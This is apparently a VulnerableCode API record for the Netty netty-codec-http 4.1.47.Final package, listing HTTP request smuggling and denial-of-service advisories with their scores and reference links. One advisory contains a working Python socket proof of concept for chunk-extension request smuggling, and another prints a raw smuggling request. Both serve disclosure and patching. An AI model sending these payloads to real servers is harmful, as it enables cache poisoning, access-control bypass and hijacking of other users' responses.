{"url":"http://public2.vulnerablecode.io/api/packages/230151?format=json","purl":"pkg:maven/io.netty/netty-codec-http@4.1.47.Final","type":"maven","namespace":"io.netty","name":"netty-codec-http","version":"4.1.47.Final","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"4.2.10.Final","latest_non_vulnerable_version":"4.2.10.Final","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23656?format=json","vulnerability_id":"VCID-9syp-fkzy-4fhy","summary":"Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing\n## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \n- \n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b'1;a=\"\\r\\n'\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b'\"\\r\\n'\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If ';' is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33870.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33870.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33870","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02502","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0249","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02515","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03065","published_at":"2026-05-05T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03103","published_at":"2026-04-29T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12128","published_at":"2026-04-07T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12282","published_at":"2026-04-02T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12258","published_at":"2026-04-09T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12209","published_at":"2026-04-08T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12329","published_at":"2026-04-04T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.1208","published_at":"2026-04-18T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12078","published_at":"2026-04-16T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12191","published_at":"2026-04-13T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12227","published_at":"2026-04-12T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12265","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33870"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33870","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33870"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/netty/netty","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/netty/netty"},{"reference_url":"https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/"}],"url":"https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33870","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33870"},{"reference_url":"https://w4ke.info/2025/06/18/funky-chunks.html","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/"}],"url":"https://w4ke.info/2025/06/18/funky-chunks.html"},{"reference_url":"https://w4ke.info/2025/10/29/funky-chunks-2.html","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/"}],"url":"https://w4ke.info/2025/10/29/funky-chunks-2.html"},{"reference_url":"https://www.rfc-editor.org/rfc/rfc9110","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-03-31T13:55:28Z/"}],"url":"https://www.rfc-editor.org/rfc/rfc9110"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132229","reference_id":"1132229","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132229"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452453","reference_id":"2452453","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452453"},{"reference_url":"https://github.com/advisories/GHSA-pwqr-wmgm-9rr8","reference_id":"GHSA-pwqr-wmgm-9rr8","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-pwqr-wmgm-9rr8"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:10175","reference_id":"RHSA-2026:10175","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:10175"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:10184","reference_id":"RHSA-2026:10184","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:13571","reference_id":"RHSA-2026:13571","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:13571"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:7109","reference_id":"RHSA-2026:7109","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:7109"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:7380","reference_id":"RHSA-2026:7380","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:7380"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:8159","reference_id":"RHSA-2026:8159","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:8159"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:8509","reference_id":"RHSA-2026:8509","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:8509"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/66597?format=json","purl":"pkg:maven/io.netty/netty-codec-http@4.1.132.Final","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-m7wv-hqyx-rfbb"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.1.132.Final"},{"url":"http://public2.vulnerablecode.io/api/packages/66603?format=json","purl":"pkg:maven/io.netty/netty-codec-http@4.2.10.Final","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/io.netty/netty-codec-http@4.2.10.Final"}],"aliases":["CVE-2026-33870","GHSA-pwqr-wmgm-9rr8"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-9syp-fkzy-4fhy"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/14368?format=json","vulnerability_id":"VCID-e92u-331h-bkcb","summary":"This advisory has been marked as False Positive and moved to `netty-codec-http`, `netty-handler` and `netty-common`.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-21290.json","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-21290.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21290","reference_id":"","reference_type":"","scores":[{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07309","published_at":"2026-05-05T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07296","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07322","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07359","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07232","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07236","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07306","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07316","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07329","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.0733","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07303","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07248","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07106","published_at":"2026-04-01T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07271","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00026","scoring_system":"epss","scoring_elements":"0.07226","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21290"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20444","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20444"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20445","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20445"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11612","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11612"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7238","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7238"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21290","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21290"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21295","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21295"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21409","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21409"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"2.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/netty/netty","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/netty/netty"},{"reference_url":"https://github.com/netty/netty/commit/c735357bf29d07856ad171c6611a2e1a0e0000ec","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/netty/netty/commit/c735357bf29d07856ad171c6611a2e1a0e0000ec"},{"reference_url":"https://github.com/netty/netty/security/advisories/GHSA-5mcr-gq6c-3hq2","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr"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vulnerable to request smuggling due to incorrect parsing of chunk extensions\n## Summary\nA flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-58056.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-58056.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58056","reference_id":"","reference_type":"","scores":[{"value":"0.00031","scoring_system":"epss","scoring_elements":"0.08858","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00032","scoring_system":"epss","scoring_elements":"0.09283","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00032","scoring_system":"epss","scoring_elements":"0.09335","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11201","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11101","published_at":"2026-05-05T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11169","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.1123","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11331","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11199","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11339","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11368","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11401","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00038","scoring_system":"epss","scoring_elements":"0.11394","published_at":"2026-04-09T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.12032","published_at":"2026-04-08T12:55:00Z"},{"value":"0.0004","scoring_system":"epss","scoring_elements":"0.1195","published_at":"2026-04-07T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-58056"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58056","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58056"},{"reference_url":"https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding","reference_id":"","reference_type":"","scores":[{"value":"2.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-04T19:09:52Z/"}],"url":"https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"},{"reference_url":"https://github.com/github/advisory-database/pull/6092","reference_id":"","reference_type":"","scores":[{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/github/advisory-database/pull/6092"},{"reference_url":"https://github.com/JLLeitschuh/unCVEed/issues/1","reference_id":"","reference_type":"","scores":[{"value":"2.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-04T19:09:52Z/"}],"url":"https://github.com/JLLeitschuh/unCVEed/issues/1"},{"reference_url":"https://github.com/netty/netty","reference_id":"","reference_type":"","scores":[{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/netty/netty"},{"reference_url":"https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284","reference_id":"","reference_type":"","scores":[{"value":"2.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-04T19:09:52Z/"}],"url":"https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"},{"reference_url":"https://github.com/netty/netty/issues/15522","reference_id":"","reference_type":"","scores":[{"value":"2.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-04T19:09:52Z/"}],"url":"https://github.com/netty/netty/issues/15522"},{"reference_url":"https://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HttpPostRequestDecoder can OOM\n### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-29025.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2024-29025.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29025","reference_id":"","reference_type":"","scores":[{"value":"0.00261","scoring_system":"epss","scoring_elements":"0.49442","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00261","scoring_system":"epss","scoring_elements":"0.49407","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00261","scoring_system":"epss","scoring_elements":"0.49434","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00261","scoring_system":"epss","scoring_elements":"0.49387","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00268","scoring_system":"epss","scoring_elements":"0.50278","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00268","scoring_system":"epss","scoring_elements":"0.50306","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00268","scoring_system":"epss","scoring_elements":"0.50279","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00316","scoring_system":"epss","scoring_elements":"0.5457","published_at":"2026-05-05T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55525","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55426","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55433","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55508","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55529","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55489","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00324","scoring_system":"epss","scoring_elements":"0.55453","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29025"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-29025","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/